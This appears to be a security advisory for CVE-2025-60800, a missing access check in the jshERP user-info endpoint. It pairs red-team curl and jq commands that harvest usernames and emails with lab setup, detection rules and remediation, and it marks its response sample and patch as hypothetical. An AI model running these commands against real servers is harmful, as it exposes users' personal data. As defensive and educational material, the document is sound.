CVE-2025-60800

Executive Summary

CVE-2025-60800 is an Improper Access Control vulnerability in the open-source ERP system jshERP (up to commit 90c411a). The /jshERP-boot/user/info interface lacks proper authorization checks, allowing an unauthenticated attacker to craft a GET request and retrieve sensitive user information. This includes usernames, email addresses, and potentially password hashes or session tokens, depending on the endpoint’s implementation. The vulnerability has a CVSS base score of 7.5 (High) due to network exploitability, low attack complexity, and high confidentiality impact. No authentication is required, and no user interaction is needed. The EPSS score is 0.0%, indicating low current exploitation activity, but the public disclosure of the issue increases risk.

Supply Chain & Package Security

jshERP is a Java-based ERP system distributed via GitHub and potentially through Maven Central or Docker Hub. The vulnerability exists in the core application code, not in a third-party package. However, organizations using jshERP in their supply chain (e.g., as a backend service for other applications) should treat this as a critical dependency risk. No official patch has been released, so users must implement compensating controls or fork the repository to apply a fix.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Sensitive user data is exposed.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base Score: 7.5 (High)
Threat Level: High – Immediate attention required due to ease of exploitation and potential for data breach.

Deep Dive & Mechanics

The vulnerability resides in the /jshERP-boot/user/info endpoint. In the affected commit (90c411a), the controller handling this request does not enforce any authentication or authorization checks. The endpoint likely returns a JSON object containing user details such as id, username, email, phone, and possibly password or token fields.

Root Cause: The @RequestMapping or @GetMapping annotation on the method is not protected by Spring Security’s @PreAuthorize or a custom filter. The method directly queries the database and returns the result without verifying the caller’s identity.

Attack Flow:

1. Attacker identifies a jshERP instance (e.g., via Shodan or Google dork).
2. Sends a GET request to http://target/jshERP-boot/user/info.
3. The server responds with a JSON array or object containing user records.
4. Attacker extracts sensitive data for further exploitation (e.g., credential stuffing, social engineering).

Example Request:

GET /jshERP-boot/user/info HTTP/1.1
Host: target.example.com

Example Response (hypothetical):

[
  {
    "id": 1,
    "username": "admin",
    "email": "admin@example.com",
    "phone": "1234567890",
    "password": "$2a$10$..."
  }
]

Vulnerable vs. Patched Code

Vulnerable Code (commit 90c411a):

@RestController
@RequestMapping("/jshERP-boot/user")
public class UserController {

    @GetMapping("/info")
    public List<User> getUserInfo() {
        return userService.getAllUsers(); // No authentication check
    }
}

Patched Code (hypothetical fix):

@RestController
@RequestMapping("/jshERP-boot/user")
public class UserController {

    @GetMapping("/info")
    @PreAuthorize("hasRole('ADMIN')") // Added authorization
    public List<User> getUserInfo() {
        return userService.getAllUsers();
    }
}

The patch adds a Spring Security annotation to restrict access to authenticated users with the ADMIN role. Alternatively, a custom filter could validate a JWT token or session.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of jshERP (commit 90c411a or earlier).
• Network access to the target.

Steps:

1. Discovery: Use Shodan or a simple HTTP probe to find vulnerable instances.

   curl -s http://target:8080/jshERP-boot/user/info
   

2. Exploit: Send the GET request and parse the JSON response.

   curl -s http://target:8080/jshERP-boot/user/info | jq '.'
   

3. Data Extraction: Extract usernames and emails for further attacks.

   curl -s http://target:8080/jshERP-boot/user/info | jq -r '.[] | "\(.username):\(.email)"'
   

Lab Setup (Docker):

git clone https://github.com/jshERP/jshERP.git
cd jshERP
git checkout 90c411a
docker-compose up -d
# Target: http://localhost:8080/jshERP-boot/user/info

Blue Team (Detection & Response)

Detection:

• Monitor for GET requests to /jshERP-boot/user/info from unauthenticated sources.
• Alert on anomalous data volume from this endpoint (e.g., large JSON responses).

Response:

1. Immediately restrict access to the endpoint via a WAF rule or reverse proxy.
2. Apply the hypothetical patch (add @PreAuthorize) or implement a custom authentication filter.
3. Rotate any exposed credentials and invalidate active sessions.
4. Conduct a forensic review of access logs to identify potential data exfiltration.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /jshERP-boot/user/info without authentication headers.
• Response bodies containing JSON arrays with fields like username, email, password.

File IOCs:

• Log entries showing repeated access to /jshERP-boot/user/info from the same IP.
• Unusual outbound data transfers from the jshERP server.

System IOCs:

• Unauthorized user accounts created or modified after data exposure.
• Suspicious login attempts using extracted credentials.

Detection Engineering

YARA Rule

rule CVE_2025_60800_jshERP_UserInfo_Leak {
    meta:
        description = "Detects HTTP responses containing jshERP user info leak"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-60800"
    strings:
        $user_info = /"username"\s*:\s*"[^"]+"/ nocase
        $email_info = /"email"\s*:\s*"[^"]+"/ nocase
        $password_info = /"password"\s*:\s*"[^"]+"/ nocase
    condition:
        all of them and #user_info > 1
}

Sigma Rule

title: CVE-2025-60800 jshERP User Info Endpoint Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to the jshERP user info endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/jshERP-boot/user/info'
    condition: selection
falsepositives:
    - Legitimate admin access (should be authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60800 jshERP User Info Leak Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/jshERP-boot/user/info"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Use a reverse proxy (Nginx, Apache) or WAF to block unauthenticated requests to /jshERP-boot/user/info.

   location /jshERP-boot/user/info {
       deny all;
       return 403;
   }
   

2. Apply Patch: Modify the source code to add authentication checks (see Patched Code section).
3. Update Dependencies: Ensure Spring Security is properly configured with role-based access.

Long-Term Fix:

• Upgrade to a patched version of jshERP once released.
• Implement a security audit of all API endpoints to ensure consistent authorization.
• Use a static analysis tool (e.g., SonarQube) to detect missing access controls.

Workaround:

• Disable the /jshERP-boot/user/info endpoint entirely if not needed.
• Implement IP whitelisting for administrative endpoints.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert